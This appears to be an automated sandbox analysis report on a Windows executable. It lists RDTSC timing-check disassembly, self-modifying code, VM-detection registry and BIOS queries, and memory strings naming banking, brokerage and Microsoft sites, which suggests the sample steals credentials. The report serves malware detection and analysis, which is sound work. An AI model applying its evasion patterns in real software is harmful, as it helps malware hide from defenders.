Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CBD47A second address: 5CBD480 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CBCC35 second address: 5CBCC4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F3DA0D10B38h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CBDF8B second address: 5CBDF8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CBDF8F second address: 5CBDF9F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3DA0D10B36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CBDF9F second address: 5CBDFF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007F3DA0B69F48h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 push 00000000h 0x00000023 add dword ptr [ebp+122D29DBh], edx 0x00000029 push 00000000h 0x0000002b call 00007F3DA0B69F50h 0x00000030 or dword ptr [ebp+122D26F4h], eax 0x00000036 pop edi 0x00000037 xchg eax, ebx 0x00000038 jo 00007F3DA0B69F54h 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CBDFF3 second address: 5CBDFF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C84D5E second address: 5C84DAF instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3DA0B69F4Ch 0x00000008 js 00007F3DA0B69F52h 0x0000000e jp 00007F3DA0B69F46h 0x00000014 jo 00007F3DA0B69F46h 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push edx 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 pop edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F3DA0B69F4Eh 0x00000029 jmp 00007F3DA0B69F59h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C84DAF second address: 5C84DBB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3DA0D10B36h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CC14BA second address: 5CC14C4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3DA0B69F4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C84DBB second address: 5C84DC0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CC14C4 second address: 5CC14D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CC14D0 second address: 5CC14D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CC75F6 second address: 5CC760C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0B69F51h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CC8B9D second address: 5CC8C51 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F3DA0D10B41h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F3DA0D10B38h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 push 00000000h 0x0000002a jmp 00007F3DA0D10B3Fh 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007F3DA0D10B38h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 00000015h 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b jmp 00007F3DA0D10B48h 0x00000050 mov dword ptr [ebp+122D23B0h], eax 0x00000056 xchg eax, esi 0x00000057 jmp 00007F3DA0D10B47h 0x0000005c push eax 0x0000005d pushad 0x0000005e pushad 0x0000005f pushad 0x00000060 popad 0x00000061 jc 00007F3DA0D10B36h 0x00000067 popad 0x00000068 jng 00007F3DA0D10B3Ch 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CC8D45 second address: 5CC8DFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0B69F56h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c call 00007F3DA0B69F54h 0x00000011 mov ebx, dword ptr [ebp+122D2C04h] 0x00000017 pop ebx 0x00000018 push dword ptr fs:[00000000h] 0x0000001f call 00007F3DA0B69F52h 0x00000024 xor dword ptr [ebp+122D23D3h], ecx 0x0000002a pop edi 0x0000002b mov edi, dword ptr [ebp+122D206Dh] 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 jmp 00007F3DA0B69F52h 0x0000003d mov eax, dword ptr [ebp+122D0BC1h] 0x00000043 jnl 00007F3DA0B69F4Ch 0x00000049 and edi, dword ptr [ebp+122D2D0Ch] 0x0000004f push FFFFFFFFh 0x00000051 push 00000000h 0x00000053 push ebp 0x00000054 call 00007F3DA0B69F48h 0x00000059 pop ebp 0x0000005a mov dword ptr [esp+04h], ebp 0x0000005e add dword ptr [esp+04h], 00000019h 0x00000066 inc ebp 0x00000067 push ebp 0x00000068 ret 0x00000069 pop ebp 0x0000006a ret 0x0000006b mov bx, ax 0x0000006e sub dword ptr [ebp+122D2315h], edi 0x00000074 nop 0x00000075 push edx 0x00000076 pushad 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CC8DFF second address: 5CC8E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CCAD71 second address: 5CCAD8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0B69F54h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CC8E05 second address: 5CC8E19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop eax 0x0000000c jne 00007F3DA0D10B3Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CCB003 second address: 5CCB016 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DA0B69F4Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CCCE7B second address: 5CCCE7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CCB016 second address: 5CCB01A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CCCE7F second address: 5CCCF02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F3DA0D10B38h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 add di, D6A1h 0x0000002c push 00000000h 0x0000002e mov ebx, eax 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebp 0x00000035 call 00007F3DA0D10B38h 0x0000003a pop ebp 0x0000003b mov dword ptr [esp+04h], ebp 0x0000003f add dword ptr [esp+04h], 00000017h 0x00000047 inc ebp 0x00000048 push ebp 0x00000049 ret 0x0000004a pop ebp 0x0000004b ret 0x0000004c mov edi, dword ptr [ebp+122D2B18h] 0x00000052 call 00007F3DA0D10B3Ch 0x00000057 pop ebx 0x00000058 xchg eax, esi 0x00000059 push ecx 0x0000005a pushad 0x0000005b ja 00007F3DA0D10B36h 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CCB01A second address: 5CCB02C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F3DA0B69F46h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CCDC7A second address: 5CCDC7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CCDC7E second address: 5CCDC82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CCDC82 second address: 5CCDCC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a mov bh, CAh 0x0000000c pushad 0x0000000d mov ebx, dword ptr [ebp+122D2BFCh] 0x00000013 or ah, FFFFFF94h 0x00000016 popad 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007F3DA0D10B38h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 push 00000000h 0x00000035 mov ebx, 745950F1h 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d push ecx 0x0000003e jl 00007F3DA0D10B36h 0x00000044 pop ecx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CCDE35 second address: 5CCDE41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CCDE41 second address: 5CCDE45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CCDE45 second address: 5CCDECA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 mov di, 636Bh 0x0000000c push dword ptr fs:[00000000h] 0x00000013 mov ebx, 4C3A9FD9h 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007F3DA0B69F48h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 00000018h 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 add dword ptr [ebp+122D1CFBh], edi 0x0000003f cmc 0x00000040 mov eax, dword ptr [ebp+122D0E61h] 0x00000046 mov edi, dword ptr [ebp+122D3456h] 0x0000004c push FFFFFFFFh 0x0000004e push 00000000h 0x00000050 push ecx 0x00000051 call 00007F3DA0B69F48h 0x00000056 pop ecx 0x00000057 mov dword ptr [esp+04h], ecx 0x0000005b add dword ptr [esp+04h], 0000001Ah 0x00000063 inc ecx 0x00000064 push ecx 0x00000065 ret 0x00000066 pop ecx 0x00000067 ret 0x00000068 nop 0x00000069 push eax 0x0000006a push edx 0x0000006b jns 00007F3DA0B69F4Ch 0x00000071 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CCDECA second address: 5CCDECF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CCFB89 second address: 5CCFB8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CCEE4B second address: 5CCEE4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CCFB8D second address: 5CCFB92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CCFC69 second address: 5CCFC6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CD0B36 second address: 5CD0B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0B69F4Fh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c jng 00007F3DA0B69F65h 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CD0B56 second address: 5CD0BDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jne 00007F3DA0D10B44h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F3DA0D10B38h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c push edx 0x0000002d pop ebx 0x0000002e and bl, FFFFFFC2h 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ebp 0x00000036 call 00007F3DA0D10B38h 0x0000003b pop ebp 0x0000003c mov dword ptr [esp+04h], ebp 0x00000040 add dword ptr [esp+04h], 00000019h 0x00000048 inc ebp 0x00000049 push ebp 0x0000004a ret 0x0000004b pop ebp 0x0000004c ret 0x0000004d mov ebx, dword ptr [ebp+122D1D65h] 0x00000053 xchg eax, esi 0x00000054 pushad 0x00000055 pushad 0x00000056 jc 00007F3DA0D10B36h 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CD1CA9 second address: 5CD1D1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F3DA0B69F48h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000018h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 sbb edi, 3715663Bh 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push edx 0x0000002c call 00007F3DA0B69F48h 0x00000031 pop edx 0x00000032 mov dword ptr [esp+04h], edx 0x00000036 add dword ptr [esp+04h], 00000017h 0x0000003e inc edx 0x0000003f push edx 0x00000040 ret 0x00000041 pop edx 0x00000042 ret 0x00000043 mov edi, 6ADDC767h 0x00000048 pushad 0x00000049 mov dword ptr [ebp+122D2A05h], esi 0x0000004f xor dword ptr [ebp+1247BBB8h], eax 0x00000055 popad 0x00000056 push 00000000h 0x00000058 xor edi, dword ptr [ebp+122D2D1Ch] 0x0000005e xchg eax, esi 0x0000005f push eax 0x00000060 push edx 0x00000061 je 00007F3DA0B69F4Ch 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CD0D08 second address: 5CD0D0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CD1D1D second address: 5CD1D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CD0D0C second address: 5CD0D24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F3DA0D10B3Ah 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CD1D21 second address: 5CD1D26 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CD0D24 second address: 5CD0D2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CD0D2A second address: 5CD0D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Special instruction interceptor: First address: E62E47 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Special instruction interceptor: First address: EE448B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Special instruction interceptor: First address: 5B0DE24 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Special instruction interceptor: First address: 5CAFC9B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Special instruction interceptor: First address: 5D44556 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Special instruction interceptor: First address: 5B11E4B instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe TID: 432	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe TID: 3176	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe TID: 344	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe TID: 6496	Thread sleep time: -210000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Publishers	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\SolidDocuments	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior

Source: GnHq2ZaBUl.exe	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: GnHq2ZaBUl.exe, 00000000.00000003.2128974033.0000000005604000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: GnHq2ZaBUl.exe, 00000000.00000003.2205439671.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2222836139.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2183217473.0000000000B7D000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2352831105.0000000000B7D000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000002.2460454631.0000000000B48000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2209563175.0000000000B7D000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000002.2460454631.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
